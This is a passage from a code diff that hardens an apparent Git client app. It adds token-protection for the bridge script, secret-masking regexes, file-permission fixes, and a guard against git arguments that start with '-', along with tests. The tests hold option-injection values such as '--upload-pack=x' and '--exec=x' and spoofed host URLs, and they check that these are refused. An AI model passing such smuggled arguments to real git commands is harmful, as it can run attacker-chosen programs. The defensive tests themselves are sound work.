select:focus-visible, + .commit-files-resizer:focus-visible { + outline: 2px solid Highlight; + outline-offset: 1px; + } + .inbox-item.focused { + outline-color: Highlight; + } + .sidebar-resizer:hover, + .sidebar-resizer.active, + .commit-files-resizer:hover, + .commit-files-resizer.active { + background: Highlight; + } + + /* Buttons and badges: tinted fills are gone, so give each a visible border; emphasis buttons use the Highlight border. */ + .btn { + border-color: ButtonText; + } + .btn.primary, + .btn.accent { + border-color: Highlight; + border-width: 2px; + } + .btn.ghost { + border-color: transparent; + } + .btn.ghost:hover:not(:disabled) { + border-color: Highlight; + } + .btn.link { + color: LinkText; + } + .btn:disabled { + color: GrayText; + border-color: GrayText; + } + .badge { + border: 1px solid CanvasText; + } + + /* Diff: the +/− marker characters carry meaning in unified view; split view (no marker) and word highlights get borders/underlines. */ + table.diff .marker { + color: CanvasText; + font-weight: 700; + } + table.diff.unified tr.add .code, + table.diff .code.add-code { + border-left: 3px solid LinkText; + } + table.diff.unified tr.delete .code, + table.diff .code.del-code { + border-left: 3px dashed CanvasText; + } + table.diff .word-add { + text-decoration: underline; + } + table.diff .word-del { + text-decoration: line-through; + } + table.diff tr.selected-line .code { + outline: 2px solid Highlight; + outline-offset: -2px; + } +} diff --git a/src/server/index.ts b/src/server/index.ts index e7880da..92ffa7b 100644 --- a/src/server/index.ts +++ b/src/server/index.ts @@ -37,7 +37,7 @@ import { auditLine, isMutating, KeyedMutex, locksRepo, mutationKey, RateLimiter import { loadServerConfig, type ServerConfig } from './config'; import { hostOk, identityOk, offendingPath, originOk, pathArgs, tokenOk } from './security'; import { WebHost } from './web-host'; -import { BRIDGE_TAG, bridgeScript } from './web-bridge'; +import { BRIDGE_TAG, bridgeFetchAllowed, bridgeScript } from './web-bridge'; import { WsHub } from './ws'; const RELEASES_URL = 'https://github.com/erwin-wee/gitgood/releases'; @@ -332,7 +332,11 @@ async function main(): Promise { const serveStatic = (req: IncomingMessage, res: ServerResponse): void => { const url = new URL(req.url ?? '/', 'http://127.0.0.1'); if (url.pathname === '/gitgood-bridge.js') { - res.writeHead(200, { 'Content-Type': 'text/javascript; charset=utf-8', 'Cache-Control': 'no-store' }).end(bridgeScript(config.token, process.platform)); + // The script embeds the token: a cross-site page must not be able to include it. + if (!bridgeFetchAllowed(req.headers['sec-fetch-site'])) return fail(res, 403, 'Cross-origin request rejected.'); + res + .writeHead(200, { 'Content-Type': 'text/javascript; charset=utf-8', 'Cache-Control': 'no-store', 'Cross-Origin-Resource-Policy': 'same-origin' }) + .end(bridgeScript(config.token, process.platform, config.version)); return; } let decoded: string; @@ -415,8 +419,9 @@ async function main(): Promise { server.listen(config.port, config.host, () => { log.info(`GitGood server ${config.version} listening on http://${config.host}:${config.port}`); log.info(`Expose it on your tailnet with: tailscale serve --bg ${config.port}`); - if (config.tokenCreated) log.info(`Access token (shown once): ${config.token}`); - else log.info(`Access token stored at ${join(config.userData, 'server-token')}`); + // The token never goes through the logger (journal/log files are not secret stores): print it once to an interactive terminal, otherwise point at the 0600 file. + if (config.tokenCreated && process.stdout.isTTY) process.stdout.write(`Access token (shown once): ${config.token}\n`); + log.info(`Access token stored at ${join(config.userData, 'server-token')}`); if (config.allowedLogin) log.info(`Tailnet access allowed for ${config.allowedLogin}`); else log.warn('No Tailscale login to allow (set GITGOOD_ALLOWED_LOGIN): requests through tailscale serve are refused.'); }); diff --git a/src/server/security.ts b/src/server/security.ts index ef8e081..f1522ee 100644 --- a/src/server/security.ts +++ b/src/server/security.ts @@ -7,7 +7,7 @@ import { isInside } from '../main/repo/paths'; /** Reads the persisted bearer token, generating and storing a fresh 256-bit one on first run. */ export function loadOrCreateToken(tokenFile: string, dir: string): string { if (existsSync(tokenFile)) return readFileSync(tokenFile, 'utf8').trim(); - if (!existsSync(dir)) mkdirSync(dir, { recursive: true }); + if (!existsSync(dir)) mkdirSync(dir, { recursive: true, mode: 0o700 }); const token = randomBytes(32).toString('hex'); writeFileSync(tokenFile, token, { mode: 0o600 }); try { diff --git a/src/server/web-bridge.ts b/src/server/web-bridge.ts index 4e99f52..e56b158 100644 --- a/src/server/web-bridge.ts +++ b/src/server/web-bridge.ts @@ -31,15 +31,32 @@ export const WEB_BRIDGE_JS = `(function () { window.addEventListener('blur', reportFocus); } var connectedBefore = false; + var connected = true; + var attempt = 0; var socket = null; + function setConnected(next) { + if (connected === next) return; + connected = next; + emit('server.connection', { connected: next }); + } + // The desktop client watches the server version itself (src/main/client.ts); a browser tab compares on reconnect. + function checkServerVersion() { + if (native || !cfg.version) return; + fetch('/version', { cache: 'no-store' }).then(function (res) { return res.ok ? res.json() : null; }).then(function (body) { + if (body && body.version && body.version !== cfg.version) emit('server.updated', { version: body.version }); + }, function () {}); + } function connect() { var proto = location.protocol === 'https:' ? 'wss:' : 'ws:'; socket = new WebSocket(proto + '//' + location.host + '/events?token=' + encodeURIComponent(token) + '&client=' + encodeURIComponent(clientId)); socket.onopen = function () { + attempt = 0; + setConnected(true); // Events sent while disconnected are lost: re-open the repository and let the renderer refresh (it does so when focused; // an unfocused page refreshes on its next focus event). if (connectedBefore) { (openRepo ? httpInvoke('repo.open', [openRepo]) : Promise.resolve()).then(function () { emit('window.focus', { focused: document.visibilityState === 'visible' && document.hasFocus() }); }); + checkServerVersion(); } connectedBefore = true; }; @@ -49,7 +66,11 @@ export const WEB_BRIDGE_JS = `(function () { emit(msg.event, msg.payload); if (native && (msg.event === 'gh.inbox.changed' || msg.event === 'gh.inbox.new')) native.serverEvent(msg.event, msg.payload); }; - socket.onclose = function () { setTimeout(connect, 1000); }; + socket.onclose = function () { + setConnected(false); + // 1s, 2s, 4s ... capped at 30s, so a server that is down for a while is not hammered. + setTimeout(connect, Math.min(30000, 1000 * Math.pow(2, attempt++))); + }; socket.onerror = function () { try { socket.close(); } catch (e) {} }; } connect(); @@ -67,89 +88,10 @@ export const WEB_BRIDGE_JS = `(function () { return { ok: false, error: { message: String((err && err.message) || err), command: '', exitCode: null, stderr: '', stdout: '', code: 'network' } }; }); } + // The folder picker is a dialog of the React app (ServerFolderPicker): it answers by calling done. function pickDirectory(opts) { - return new Promise(function (done) { - var overlay = document.createElement('div'); - overlay.style.cssText = 'position:fixed;inset:0;background:rgba(0,0,0,.5);z-index:2147483647;display:flex;align-items:center;justify-content:center;font:13px system-ui,-apple-system,sans-serif'; - var modal = document.createElement('div'); - modal.style.cssText = 'background:#1f1f1f;color:#eee;width:min(560px,92vw);max-height:72vh;display:flex;flex-direction:column;border-radius:8px;overflow:hidden;box-shadow:0 12px 48px rgba(0,0,0,.6)'; - var header = document.createElement('div'); - header.style.cssText = 'padding:12px 16px;font-weight:600;border-bottom:1px solid #333'; - header.textContent = (opts && opts.title) || 'Choose a folder on the server'; - var crumb = document.createElement('input'); - crumb.placeholder = 'Type a path and press Enter'; - crumb.spellcheck = false; - crumb.style.cssText = 'margin:8px 16px;padding:6px 8px;background:#111;color:#8ab4f8;border:1px solid #333;border-radius:4px;font:12px ui-monospace,monospace'; - var status = document.createElement('div'); - status.style.cssText = 'padding:0 16px 8px;color:#f28b82;font-size:12px;border-bottom:1px solid #333'; - var list = document.createElement('div'); - list.style.cssText = 'flex:1;overflow:auto;min-height:220px'; - var footer = document.createElement('div'); - footer.style.cssText = 'padding:10px 16px;display:flex;gap:8px;justify-content:flex-end;border-top:1px solid #333'; - var cancelBtn = document.createElement('button'); - cancelBtn.textContent = 'Cancel'; - cancelBtn.style.cssText = 'padding:6px 14px;cursor:pointer'; - var selectBtn = document.createElement('button'); - selectBtn.textContent = 'Select'; - selectBtn.style.cssText = 'padding:6px 14px;cursor:pointer'; - footer.appendChild(cancelBtn); - footer.appendChild(selectBtn); - modal.appendChild(header); - modal.appendChild(crumb); - modal.appendChild(status); - modal.appendChild(list); - modal.appendChild(footer); - overlay.appendChild(modal); - document.body.appendChild(overlay); - var current = null; - function finish(value) { document.body.removeChild(overlay); done({ ok: true, value: value }); } - cancelBtn.onclick = function () { finish(null); }; - // A typed but not yet opened path is opened (and so validated) before it is selected. - selectBtn.onclick = function () { - var typed = crumb.value.trim(); - if (typed && typed !== current) render(typed, function () { finish(current); }); - else finish(current); - }; - crumb.onkeydown = function (e) { - if (e.key === 'Enter') { e.preventDefault(); render(crumb.value.trim() || null); } - else if (e.key === 'Escape') finish(null); - }; - function row(label) { - var d = document.createElement('div'); - d.textContent = label; - d.style.cssText = 'padding:8px 16px;cursor:pointer;border-bottom:1px solid #262626'; - d.onmouseenter = function () { d.style.background = '#2a2a2a'; }; - d.onmouseleave = function () { d.style.background = ''; }; - return d; - } - function render(path, then) { - httpInvoke('app.listDir', [path]).then(function (res) { - if (!res.ok) { status.textContent = res.error.message; return; } - status.textContent = ''; - current = res.value.path; - crumb.value = current || ''; - selectBtn.disabled = !current; - if (then) return then(); - list.innerHTML = ''; - if (res.value.parent !== null || current) { - var up = row('\u2190 Up'); - up.onclick = function () { render(res.value.parent); }; - list.appendChild(up); - } - res.value.entries.forEach(function (e) { - var r = row('\uD83D\uDCC1 ' + e.name); - r.onclick = function () { render(e.path); }; - list.appendChild(r); - }); - if (!res.value.entries.length) { - var empty = row('(no subfolders)'); - empty.style.opacity = '.5'; - empty.style.cursor = 'default'; - list.appendChild(empty); - } - }); - } - render(null); + return new Promise(function (resolve) { + emit('server.pickDirectory', { opts: opts, done: function (value) { resolve({ ok: true, value: value }); } }); }); } function webInvoke(method, args) { @@ -188,7 +130,16 @@ export const WEB_BRIDGE_JS = `(function () { /** The head snippet the server injects before the app bundle. External only: inline scripts violate the CSP. */ export const BRIDGE_TAG = ''; +/** + * `/gitgood-bridge.js` embeds the token, so a page on another origin must not be able to include it: browsers + * label such requests `Sec-Fetch-Site: cross-site|same-site`. Same-origin loads, address-bar navigation (`none`) + * and clients that send no fetch metadata (the desktop client's Node fetch) pass. + */ +export function bridgeFetchAllowed(secFetchSite: string | string[] | undefined): boolean { + return secFetchSite === undefined || secFetchSite === 'same-origin' || secFetchSite === 'none'; +} + /** The served `/gitgood-bridge.js`: config globals followed by the bridge. */ -export function bridgeScript(token: string, platform: string): string { - return `window.__GITGOOD__=${JSON.stringify({ token, platform })};\n${WEB_BRIDGE_JS}`; +export function bridgeScript(token: string, platform: string, version: string): string { + return `window.__GITGOOD__=${JSON.stringify({ token, platform, version })};\n${WEB_BRIDGE_JS}`; } diff --git a/src/shared/agent-presets.ts b/src/shared/agent-presets.ts index 7fccded..0422d53 100644 --- a/src/shared/agent-presets.ts +++ b/src/shared/agent-presets.ts @@ -34,10 +34,28 @@ export function agentTemplate(settings: Pick p.id === settings.agentCommand)?.template ?? AGENT_PRESETS[0].template; } +/** Whether every `{file}` sits inside a double-quoted string. The path is escaped for double quotes only (see escapePathForTemplate), so bare or single-quoted placeholders would let a path containing spaces, `$` or quotes change what runs. */ +function placeholdersQuoted(template: string): boolean { + let quote: string | null = null; + for (let i = 0; i < template.length; i++) { + if (template.startsWith(FILE_PLACEHOLDER, i)) { + if (quote !== '"') return false; + i += FILE_PLACEHOLDER.length - 1; + continue; + } + const c = template[i]; + if (quote === '"' && c === '\\') i++; + else if (c === quote) quote = null; + else if (quote === null && (c === '"' || c === "'")) quote = c; + } + return true; +} + /** Null when the template is usable, otherwise the message to show inline. */ export function validateAgentTemplate(template: string): string | null { if (!template.trim()) return 'Enter the command to run.'; if (!template.includes(FILE_PLACEHOLDER)) return `The command must contain ${FILE_PLACEHOLDER}`; + if (!placeholdersQuoted(template)) return `Write every ${FILE_PLACEHOLDER} inside double quotes, e.g. agent "Read ${FILE_PLACEHOLDER}" (unquoted or single-quoted paths are not escaped safely).`; return null; } diff --git a/src/shared/ipc.ts b/src/shared/ipc.ts index bc2c232..cf76660 100644 --- a/src/shared/ipc.ts +++ b/src/shared/ipc.ts @@ -306,8 +306,8 @@ export interface ApiMethods { 'repos.work': () => Promise; /** Reads (never runs) the repository's `.gitgood/config.json` post-resolution check command, for the trust-confirmation flow; `command` is null when absent or invalid. `trustState` is 'unknown' only the first time (before the user has ever been asked); 'declined' is sticky until `repo.trustConfig` re-trusts it. */ 'repo.checkConfig': (repoPath: string) => Promise<{ command: string | null; trustState: 'trusted' | 'declined' | 'unknown' }>; - /** Records whether the user trusts this repository's `.gitgood/config.json` check command; `false` disables it until re-trusted. */ - 'repo.trustConfig': (repoPath: string, trusted: boolean) => Promise; + /** Records whether the user trusts this repository's `.gitgood/config.json` check command; `false` disables it until re-trusted. Trusting passes the command the user was shown: when the file's current command differs the grant is refused (`ok: false`) with the current command so the caller can re-prompt. */ + 'repo.trustConfig': (repoPath: string, trusted: boolean, command: string | null) => Promise<{ ok: true } | { ok: false; command: string | null }>; 'git.commit': (repoPath: string, opts: CommitOptions) => Promise; 'git.undoCommit': (repoPath: string) => Promise; @@ -406,6 +406,8 @@ export interface ApiMethods { 'ai.review.exportPath': (repoPath: string, runId: string) => Promise; /** Writes the export, then opens the repository in the configured terminal running the configured agent command. `launched` is false when the terminal could not run a command and the command was copied to the clipboard instead. */ 'ai.review.fixWithAgent': (repoPath: string, runId: string) => Promise<{ launched: boolean; command: string }>; + /** Spends the per-run token from an exported `gitgood://review/rerun` link; true only once, only for the repository the token was minted for. A false result means the re-review must be confirmed by the user before anything is uploaded. */ + 'ai.review.consumeRerunToken': (repoPath: string, token: string) => Promise; 'ai.explain': (repoPath: string, target: ExplainTarget) => Promise; 'ai.explain.followUp': (repoPath: string, target: ExplainTarget, history: ExplainFollowUp[], question: string) => Promise; 'ai.explainError': (repoPath: string | null, error: GitErrorInfo, retryable: boolean) => Promise; @@ -501,6 +503,12 @@ export interface EventPayloads { 'gh.inbox.new': InboxItem[]; 'app.update.changed': UpdateState; 'repos.scanProgress': RepositoryScanProgress; + /** Browser/remote bridge only (src/server/web-bridge.ts): the event socket dropped or came back. */ + 'server.connection': { connected: boolean }; + /** Browser bridge only: the server reports a different version than the one this page loaded. */ + 'server.updated': { version: string }; + /** Browser/remote bridge only: asks the app to show its folder picker for the server's filesystem; `done` settles `app.chooseDirectory`. */ + 'server.pickDirectory': { opts: { title?: string; defaultPath?: string; buttonLabel?: string }; done: (path: string | null) => void }; } export type EventName = keyof EventPayloads; diff --git a/src/shared/secrets.ts b/src/shared/secrets.ts new file mode 100644 index 0000000..600b3b6 --- /dev/null +++ b/src/shared/secrets.ts @@ -0,0 +1,21 @@ +/** Order matters only in that every pattern is applied; they do not overlap. */ +const SECRET_PATTERNS: readonly [RegExp, string][] = [ + [/\bghp_[A-Za-z0-9]{20,}\b/g, 'ghp_***'], + [/\bgithub_pat_[A-Za-z0-9_]{20,}\b/g, 'github_pat_***'], + [/\bgho_[A-Za-z0-9]{20,}\b/g, 'gho_***'], + [/\bghu_[A-Za-z0-9]{20,}\b/g, 'ghu_***'], + [/\bghs_[A-Za-z0-9]{20,}\b/g, 'ghs_***'], + [/\bghr_[A-Za-z0-9]{20,}\b/g, 'ghr_***'], + [/\bsk-ant-[A-Za-z0-9_-]{10,}\b/g, 'sk-ant-***'], + [/\bBearer\s+\S+/gi, 'Bearer ***'], + [/\bANTHROPIC_API_KEY=\S+/g, 'ANTHROPIC_API_KEY=***'], + // URL userinfo, any scheme: https://user:pass@host, ssh://user:pass@host, ... + [/([a-zA-Z][a-zA-Z0-9+.-]*:\/\/)[^/\s:@]+:[^/\s:@]+@/g, '$1***:***@'], +]; + +/** Masks known secret shapes (GitHub tokens, bearer tokens, URL userinfo, Anthropic API keys). Pure string transform; never throws. */ +export function scrubSecrets(text: string): string { + let out = text; + for (const [re, replacement] of SECRET_PATTERNS) out = out.replace(re, replacement); + return out; +} diff --git a/src/shared/types.ts b/src/shared/types.ts index d7213c6..fa8b05b 100644 --- a/src/shared/types.ts +++ b/src/shared/types.ts @@ -1734,8 +1734,8 @@ export interface Housekeeping { export type SettingsSection = 'preferences' | 'repositories' | 'integrations'; -/** Fields of AppSettings['ai'] that are safe to export: never the stored-key flag or the CLI path (both machine/secret specific). */ -export type PortableAiSettings = Pick; +/** Fields of AppSettings['ai'] that are safe to export: never the stored-key flag, the CLI path or the custom agent command (machine-specific or runs a shell command). */ +export type PortableAiSettings = Pick; /** * Explicit allowlist of AppSettings fields that may leave the machine (a diff --git a/src/shared/util.ts b/src/shared/util.ts index fe1950f..2db274c 100644 --- a/src/shared/util.ts +++ b/src/shared/util.ts @@ -326,6 +326,17 @@ export function isValidBranchName(name: string): boolean { return true; } +/** Main-process guard: git parses a ref/branch/tag/remote/sha argument that starts with "-" as an option. Never fix this with `--` (it would turn a checkout target into a pathspec). */ +export function assertNotOption(...values: (string | null | undefined)[]): void { + const bad = values.find((v) => v?.startsWith('-')); + if (bad) throw new Error(`"${bad}" is not a valid ref or name: it must not start with "-".`); +} + +/** For a branch or tag name about to be created or renamed to. */ +export function assertNewBranchName(name: string): void { + if (!isValidBranchName(name)) throw new Error(`"${name}" is not a valid branch or tag name.`); +} + export function compareStrings(a: string, b: string): number { return a.localeCompare(b, undefined, { sensitivity: 'base', numeric: true }); } diff --git a/test/agent-plugin.test.ts b/test/agent-plugin.test.ts index 02e13f6..d551864 100644 --- a/test/agent-plugin.test.ts +++ b/test/agent-plugin.test.ts @@ -85,7 +85,7 @@ describe.skipIf(!hasGitSync() || isWindows)('session-start.sh', () => { if (withExport) { const dir = join(root, '.git', 'gitgood', 'review'); await mkdir(dir, { recursive: true }); - await writeFile(join(dir, 'latest.json'), serializeExport(buildExportJson(run(root), null, 'linux')), 'utf8'); + await writeFile(join(dir, 'latest.json'), serializeExport(buildExportJson(run(root), null, 'linux', 'tok123')), 'utf8'); } return root; } diff --git a/test/agent-presets.test.ts b/test/agent-presets.test.ts index 249f0c0..6c6162a 100644 --- a/test/agent-presets.test.ts +++ b/test/agent-presets.test.ts @@ -16,10 +16,15 @@ describe('agent presets', () => { expect(agentTemplate({ agentCommand: 'custom', agentCustomCommand: 'aider --file {file}' })).toBe('aider --file {file}'); }); - it('validateAgentTemplate requires {file}', () => { + it('validateAgentTemplate requires {file}, every one inside double quotes', () => { expect(validateAgentTemplate('claude "fix {file}"')).toBeNull(); + expect(validateAgentTemplate('aider "a {file}" --also "{file}"')).toBeNull(); + expect(validateAgentTemplate('claude "it\'s {file}"')).toBeNull(); expect(validateAgentTemplate('claude "fix it"')).toBe('The command must contain {file}'); expect(validateAgentTemplate(' ')).toBe('Enter the command to run.'); + for (const bad of ['aider --file {file}', "aider '{file}'", 'aider "{file}" {file}', 'aider "x" {file}', 'aider "{file}" \'{file}\'']) { + expect(validateAgentTemplate(bad), bad).toContain('inside double quotes'); + } }); it('escapes what each shell would expand inside the double-quoted prompt', () => { diff --git a/test/app-trust.test.ts b/test/app-trust.test.ts new file mode 100644 index 0000000..5d6b2a5 --- /dev/null +++ b/test/app-trust.test.ts @@ -0,0 +1,67 @@ +import { pathToFileURL } from 'node:url'; +import { describe, expect, it, vi } from 'vitest'; +import { isEntryUrl, isTrustedSender } from '../src/main/app-url'; +import { checkoutBranch, createBranch, deleteRemoteBranch, renameBranch } from '../src/main/git/branches'; +import { fetch, isAncestor, merge, rebase, rebaseBaseFor } from '../src/main/git/operations'; +import type { GitClient } from '../src/main/git/git'; + +describe('app frame trust', () => { + const entry = pathToFileURL('/opt/GitGood/resources/app/out/renderer/index.html').href; + + it('accepts the entry document (query/hash ignored) and rejects any other file:// URL', () => { + expect(isEntryUrl(entry, entry)).toBe(true); + expect(isEntryUrl(`${entry}#/repo`, entry)).toBe(true); + expect(isEntryUrl(pathToFileURL('/tmp/evil.html').href, entry)).toBe(false); + expect(isEntryUrl(pathToFileURL('/opt/GitGood/resources/app/out/renderer/other.html').href, entry)).toBe(false); + expect(isEntryUrl('https://example.com/', entry)).toBe(false); + expect(isEntryUrl('', entry)).toBe(false); + expect(isEntryUrl('not a url', entry)).toBe(false); + }); + + it('compares http entries by origin and path, not by prefix', () => { + expect(isEntryUrl('http://localhost:5173/', 'http://localhost:5173')).toBe(true); + expect(isEntryUrl('http://localhost:5173/x', 'http://localhost:5173')).toBe(false); + expect(isEntryUrl('http://localhost:5173.evil.test/', 'http://localhost:5173')).toBe(false); + expect(isEntryUrl('http://localhost:5174/', 'http://localhost:5173')).toBe(false); + }); + + it('serves IPC only to the top-level frame showing the entry document', () => { + const main = { url: entry }; + expect(isTrustedSender({ sender: { mainFrame: main }, senderFrame: main }, entry)).toBe(true); + expect(isTrustedSender({ sender: { mainFrame: main }, senderFrame: { url: entry } }, entry)).toBe(false); // subframe + expect(isTrustedSender({ sender: { mainFrame: main }, senderFrame: null }, entry)).toBe(false); + const other = { url: pathToFileURL('/tmp/evil.html').href }; + expect(isTrustedSender({ sender: { mainFrame: other }, senderFrame: other }, entry)).toBe(false); + }); +}); + +describe('ref arguments starting with "-" are refused before git runs', () => { + const fake = () => { + const run = vi.fn(async () => ({ stdout: '', stderr: '', stdoutBuffer: Buffer.alloc(0) })); + const git = { run, tryRun: run, stdout: vi.fn(async () => '') } as unknown as GitClient; + return { git, run }; + }; + + it('rejects option-like names in branch and operation functions', async () => { + const { git, run } = fake(); + await expect(checkoutBranch(git, '/r', '--orphan')).rejects.toThrow(/must not start with "-"/); + await expect(deleteRemoteBranch(git, '/r', '--mirror', 'x')).rejects.toThrow(); + await expect(createBranch(git, '/r', '-x', null, true)).rejects.toThrow(); + await expect(createBranch(git, '/r', 'ok', '--detach', true)).rejects.toThrow(); + await expect(renameBranch(git, '/r', 'a', '-m')).rejects.toThrow(); + await expect(merge(git, '/r', '--abort', false)).rejects.toThrow(); + await expect(rebase(git, '/r', '--exec=x')).rejects.toThrow(); + await expect(fetch(git, '/r', '--upload-pack=x', () => undefined)).rejects.toThrow(); + await expect(isAncestor(git, '/r', '-x', 'HEAD')).rejects.toThrow(); + await expect(rebaseBaseFor(git, '/r', ['abc1234', '-x'])).rejects.toThrow(); + expect(run).not.toHaveBeenCalled(); + }); + + it('still runs ordinary names, and checkout gets no "--" separator', async () => { + const { git, run } = fake(); + await checkoutBranch(git, '/r', 'feature/x'); + expect(run).toHaveBeenCalledWith('/r', ['checkout', 'feature/x']); + await createBranch(git, '/r', 'topic', 'main', false); + expect(run).toHaveBeenCalledWith('/r', ['branch', 'topic', 'main']); + }); +}); diff --git a/test/data-protection.test.ts b/test/data-protection.test.ts new file mode 100644 index 0000000..8c119a9 --- /dev/null +++ b/test/data-protection.test.ts @@ -0,0 +1,85 @@ +import { mkdtempSync, readdirSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import { DEFAULT_SETTINGS } from '../src/shared/types'; +import { ErrorExplainService } from '../src/main/ai/error-explain'; +import { createBackend } from '../src/main/ai/provider'; +import { initLogger, log } from '../src/main/logger'; +import { Store } from '../src/main/store'; + +vi.mock('../src/main/ai/provider', () => ({ createBackend: vi.fn() })); + +const dirs: string[] = []; +const tmp = (): string => { + const d = mkdtempSync(join(tmpdir(), 'gg-data-')); + dirs.push(d); + return d; +}; +afterEach(() => { + vi.restoreAllMocks(); + for (const d of dirs.splice(0)) rmSync(d, { recursive: true, force: true }); +}); + +describe.skipIf(process.platform === 'win32')('Store file permissions', () => { + it('writes secrets.json owner-only and creates the data directory 0700', () => { + const dir = join(tmp(), 'data'); + const store = new Store(dir); + store.load(); + store.setApiKey('sk-ant-plaintext-fallback-key'); + expect(statSync(join(dir, 'secrets.json')).mode & 0o777).toBe(0o600); + expect(statSync(dir).mode & 0o777).toBe(0o700); + }); +}); + +describe('Store corrupt JSON', () => { + it('moves an unparseable settings.json aside instead of silently overwriting it', () => { + const dir = tmp(); + writeFileSync(join(dir, 'settings.json'), '{ "theme": "dark", oops'); + vi.spyOn(console, 'error').mockImplementation(() => {}); + const store = new Store(dir); + store.load(); + expect(store.getSettings().ai).toBeDefined(); + const kept = readdirSync(dir).filter((f) => f.startsWith('settings.json.corrupt-')); + expect(kept).toHaveLength(1); + expect(readFileSync(join(dir, kept[0]), 'utf8')).toBe('{ "theme": "dark", oops'); + }); + + it('does not create a .corrupt file when the file is simply missing', () => { + const dir = tmp(); + new Store(dir).load(); + expect(readdirSync(dir).filter((f) => f.includes('.corrupt-'))).toEqual([]); + }); +}); + +describe('logger redaction', () => { + it('scrubs secrets from every line and creates the log owner-only', () => { + const dir = tmp(); + initLogger(dir); + vi.spyOn(console, 'log').mockImplementation(() => {}); + vi.spyOn(console, 'error').mockImplementation(() => {}); + log.info('git clone https://alice:hunter2@github.com/o/r.git'); + log.error('boom with ghp_1234567890abcdefghij1234567890ABCD', new Error('Authorization: Bearer abc.def.ghi')); + const text = readFileSync(join(dir, 'gitgood.log'), 'utf8'); + expect(text).not.toMatch(/hunter2|ghp_1234567890|abc\.def\.ghi/); + expect(text).toContain('https://***:***@github.com'); + if (process.platform !== 'win32') expect(statSync(join(dir, 'gitgood.log')).mode & 0o777).toBe(0o600); + }); +}); + +describe('ErrorExplainService', () => { + it('sends the failed command to the model with secrets scrubbed', async () => { + let prompt = ''; + const complete = vi.fn(async (req: { prompt: string }) => { + prompt = req.prompt; + return { json: {}, model: 'm' }; + }); + vi.mocked(createBackend).mockResolvedValue({ backend: { name: 'claude-cli', complete }, settings: { ...DEFAULT_SETTINGS.ai } } as never); + const tools = { current: () => ({ git: { version: '2.45.0' }, gh: { installed: false, version: null } }) }; + const service = new ErrorExplainService({} as never, tools as never, {} as never); + vi.spyOn(console, 'log').mockImplementation(() => {}); + await service.explainError(null, { code: 'auth', command: 'git push https://alice:hunter2@github.com/o/r.git', exitCode: 128, stderr: '', stdout: '', message: 'x' } as never, false).catch(() => {}); + expect(prompt).toContain('https://***:***@github.com'); + expect(prompt).not.toContain('hunter2'); + }); +}); diff --git a/test/error-explain.test.ts b/test/error-explain.test.ts index 10cab41..33b3f84 100644 --- a/test/error-explain.test.ts +++ b/test/error-explain.test.ts @@ -1,7 +1,8 @@ import { describe, expect, it } from 'vitest'; import type { RepositoryStatus } from '../src/shared/types'; import { FIX_ACTIONS, getFixAction, riskMax } from '../src/main/ai/fixActions'; -import { checkLockFileGuard, extractRemoteHost, isSafeCopyCommand, scrubAndTail, scrubSecrets, tailText, validateErrorExplanation, validateFixes } from '../src/main/ai/error-explain-core'; +import { checkLockFileGuard, extractRemoteHost, isSafeCopyCommand, scrubAndTail, tailText, validateErrorExplanation, validateFixes } from '../src/main/ai/error-explain-core'; +import { scrubSecrets } from '../src/shared/secrets'; function status(overrides: Partial = {}): RepositoryStatus { return { diff --git a/test/fixture/gh-settings-sync.test.ts b/test/fixture/gh-settings-sync.test.ts index 2697107..23959a0 100644 --- a/test/fixture/gh-settings-sync.test.ts +++ b/test/fixture/gh-settings-sync.test.ts @@ -15,13 +15,15 @@ async function withScenario(rules: Parameters[0], fn: } describe('GhClient gist wrappers (settings sync) against the gh stub', () => { - it('gistFind matches by description in a gists listing', async () => { + it('gistFind matches a secret gist by description and file in a gists listing', async () => { + const files = { 'gitgood-settings.json': {} }; const raw = [ - { id: 'aaa', description: 'Something else', updated_at: '2026-01-01T00:00:00Z' }, - { id: 'bbb', description: 'GitGood settings', updated_at: '2026-02-01T00:00:00Z' }, + { id: 'aaa', description: 'Something else', public: false, files, updated_at: '2026-01-01T00:00:00Z' }, + { id: 'pub', description: 'GitGood settings', public: true, files, updated_at: '2026-03-01T00:00:00Z' }, + { id: 'bbb', description: 'GitGood settings', public: false, files, updated_at: '2026-02-01T00:00:00Z' }, ]; await withScenario([{ match: 'gists', stdout: JSON.stringify(raw) }], async (client, scenario) => { - const found = await client.gistFind('GitGood settings'); + const found = await client.gistFind('GitGood settings', 'gitgood-settings.json'); expect(found).toEqual({ id: 'bbb', updatedAt: '2026-02-01T00:00:00Z' }); const log = await readStubLog(scenario.logPath); expect(log[0].args).toEqual(['api', 'gists', '--paginate']); @@ -30,7 +32,7 @@ describe('GhClient gist wrappers (settings sync) against the gh stub', () => { it('gistFind returns null when no gist matches the description', async () => { await withScenario([{ match: 'gists', stdout: '[]' }], async (client) => { - expect(await client.gistFind('GitGood settings')).toBeNull(); + expect(await client.gistFind('GitGood settings', 'gitgood-settings.json')).toBeNull(); }); }); @@ -66,9 +68,9 @@ describe('GhClient gist wrappers (settings sync) against the gh stub', () => { }); }); - it('gistMetadata returns updatedAt for an existing gist', async () => { - await withScenario([{ match: ['api', 'gists/abc123'], stdout: JSON.stringify({ updated_at: '2026-03-01T00:00:00Z' }) }], async (client) => { - expect(await client.gistMetadata('abc123')).toEqual({ updatedAt: '2026-03-01T00:00:00Z' }); + it('gistMetadata returns updatedAt and visibility for an existing gist', async () => { + await withScenario([{ match: ['api', 'gists/abc123'], stdout: JSON.stringify({ updated_at: '2026-03-01T00:00:00Z', public: false }) }], async (client) => { + expect(await client.gistMetadata('abc123')).toEqual({ updatedAt: '2026-03-01T00:00:00Z', public: false }); }); }); diff --git a/test/fixture/settings-sync-service.test.ts b/test/fixture/settings-sync-service.test.ts index 64da740..69508ad 100644 --- a/test/fixture/settings-sync-service.test.ts +++ b/test/fixture/settings-sync-service.test.ts @@ -39,14 +39,27 @@ describe('SettingsSyncService against the gh stub', () => { }); }); - it('enable reuses an existing gist found by its description', async () => { - await withService([{ match: 'gists', stdout: JSON.stringify([{ id: 'existing123', description: 'GitGood settings', updated_at: '2026-01-01T00:00:00Z' }]) }], async (service, store) => { + it('enable reuses an existing secret gist found by its description and file', async () => { + await withService([{ match: 'gists', stdout: JSON.stringify([{ id: 'existing123', description: 'GitGood settings', public: false, files: { 'gitgood-settings.json': {} }, updated_at: '2026-01-01T00:00:00Z' }]) }], async (service, store) => { const result = await service.enable(); expect(result.gistId).toBe('existing123'); expect(store.getSettingsSync().gistId).toBe('existing123'); }); }); + it('enable does not adopt a public gist with the matching description; it creates a secret one', async () 